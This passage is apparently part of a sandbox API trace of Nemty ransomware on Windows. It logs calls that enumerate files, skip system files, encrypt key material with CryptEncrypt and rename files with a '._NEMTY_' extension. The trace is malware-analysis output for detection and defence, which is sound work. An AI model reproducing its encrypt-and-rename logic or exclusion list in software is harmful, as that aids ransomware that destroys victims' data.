lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.430] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.461] CloseHandle (hObject=0xffffffff) returned 0 [0061.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0061.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0061.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0061.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0061.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.461] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0061.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.462] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0061.462] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0061.463] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0061.463] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0061.463] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0061.463] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0061.463] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0061.463] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0061.463] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0061.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94338 [0061.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0061.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0061.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0061.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0061.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94338 [0061.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0061.463] Sleep (dwMilliseconds=0x5) [0061.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd84a4f90, dwHighDateTime=0x1d561e7)) [0061.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd84a4f90, dwHighDateTime=0x1d561e7)) [0061.485] GetLastError () returned 0x5 [0061.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.485] GetLastError () returned 0x5 [0061.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.485] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0061.485] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0061.485] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0061.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0061.485] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="RGcujpcQGXkdF4hfpPn89zUuqrMOIAYAQ+WzUMYJfqAoqe9qCS57pY9EWbZn2hoO\r\nNOSsawSElDn9IbWWqwww00OvLk0IzcgiQr+pyV7gx1HhD6k0ZAFN5fVxbPNaFCC1\r\nqlln+W96jLFJF59O4JTIQp2MJ9hYDeV2SwMmH2Se/tI9PrOb9zMGkkrEDfAa1zjJ\r\ntw38gxEIoZwMw4JFRCM500QC1VTigptBFl/9+YNOe6xbu1J83lqL0dw6Tr5Bz/Cu\r\nCyMy32wc2+Qy6chsaHTfIp4kcz1jZKv1kGv+I6OBtLqpGrWwogCjVspx2IWQep5a\r\ncV9Mvwwh6I/UOULlNDaKdQ==\r\n", pcchString=0x653e91c) returned 1 [0061.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0061.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0061.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0061.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0061.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0061.485] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.486] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0061.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0061.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, 